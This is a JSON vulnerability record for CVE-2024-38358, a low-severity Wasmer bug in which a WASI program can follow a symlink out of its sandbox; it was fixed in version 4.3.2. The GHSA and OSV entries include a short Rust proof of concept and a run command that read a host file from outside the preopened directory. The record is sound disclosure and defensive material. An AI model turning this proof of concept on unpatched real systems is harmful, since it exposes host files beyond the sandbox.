{"id":"CVE-2024-38358","aliases":["EUVD-2024-1924","GHSA-55f3-3qvg-8pv5"],"status":"published","title":"Symlink bypasses filesystem sandbox in wasmer","description":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.002,"percentile":0.09957,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2024-06-07T19:40:00Z","modified":"2026-10-28T02:31:03Z","affected":[{"source":"ghsa","ecosystem":"crates.io","package":"wasmer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.3.1"}]}]},{"source":"osv","ecosystem":"crates.io","package":"wasmer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"4.3.1"}]}]}],"products":[{"vendor":"wasmer","product":"wasmer"},{"vendor":"wasmerio","product":"wasmer"}],"references":[{"url":"https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5","tags":["x_refsource_CONFIRM","x_transferred","advisory","web"]},{"url":"https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-38358","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-55f3-3qvg-8pv5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/38xxx/CVE-2024-38358.json","tags":["advisory"]},{"url":"https://github.com/wasmerio/wasmer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-38358","title":"Symlink bypasses filesystem sandbox in wasmer","description":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-06-19T19:55:26.111Z","modified":"2024-08-02T04:04:25.282Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:16.367792Z"}],"euvd":[{"id":"EUVD-2024-1924","description":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-06-19T19:55:26Z","modified":"2024-08-02T04:04:25Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-03T03:50:18.901913Z"}],"ghsa":[{"id":"GHSA-55f3-3qvg-8pv5","title":"Symlink bypasses filesystem sandbox","description":"### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -\u003e ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, \u0026iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(\u0026buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n","status":"published","published":"2024-06-07T19:40:00Z","modified":"2024-06-20T14:14:38Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:54.624184Z"}],"nvd":[{"id":"CVE-2024-38358","description":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-06-19T20:15:11.99Z","modified":"2026-06-17T07:39:59.32Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:10:07.173605Z"}],"osv":[{"id":"CVE-2024-38358","title":"Symlink bypasses filesystem sandbox in wasmer","description":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-06-19T19:55:26.111Z","modified":"2026-10-28T02:31:03.215882774Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:41.133403Z"},{"id":"GHSA-55f3-3qvg-8pv5","title":"Symlink bypasses filesystem sandbox","description":"### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -\u003e ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, \u0026iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(\u0026buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n","status":"published","published":"2024-06-07T19:40:00Z","modified":"2026-09-10T03:50:14.890753117Z","cvss":[{"version":"3.1","score":2.9,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:37.864461Z"}]}}